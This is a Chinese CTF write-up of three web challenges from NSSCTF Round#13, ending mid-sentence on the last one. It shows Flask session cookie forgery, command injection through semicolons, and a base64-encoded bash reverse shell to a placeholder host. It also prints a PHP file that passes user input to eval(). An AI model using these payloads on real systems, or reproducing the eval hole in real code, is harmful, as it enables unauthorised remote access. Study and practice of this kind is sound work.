NSSCTF Round#13 web专项-526互联

rank:3

flask?jwt?

简单的注册个账号，在/changePassword 下查看页面源代码发现密钥 ,很好，老套路了，flask-session-cookie-manager伪造，把_user_id 改成1，访问/getFlag ，拿到flag

ez_factors

查看页面源代码，发现路由/factors/114514 ,访问发现114514被分解，猜测后台逻辑是利用linux命令factor对/factors/后接的字符执行，这样直接用; 来个多命令执行，访问/factors/114514;cd ..;cd ..;cd ..;cd ..;cat flag ,有东西不过是一串数字，嗯，看样子应该是读不出来了，直接反弹shell，echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash ,利用base64防止有/导致破坏路由，成功反弹shell

MyWeb

代码如下：

<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据，但是还不会处理json格式，这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
    $data = file_get_contents('/tmp/data.json');
    $value = addslashes($_GET['value']);
    $data = str_replace(']', ", '$value']", $data);
    file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
    $data = file_get_contents('/tmp/data.json');
    eval('$data = ' . $data . ';');
    print_r($data);
} else {
    highlight_file(__FILE__);
}

很明显能命令执行，写个1进去，read之后是这样的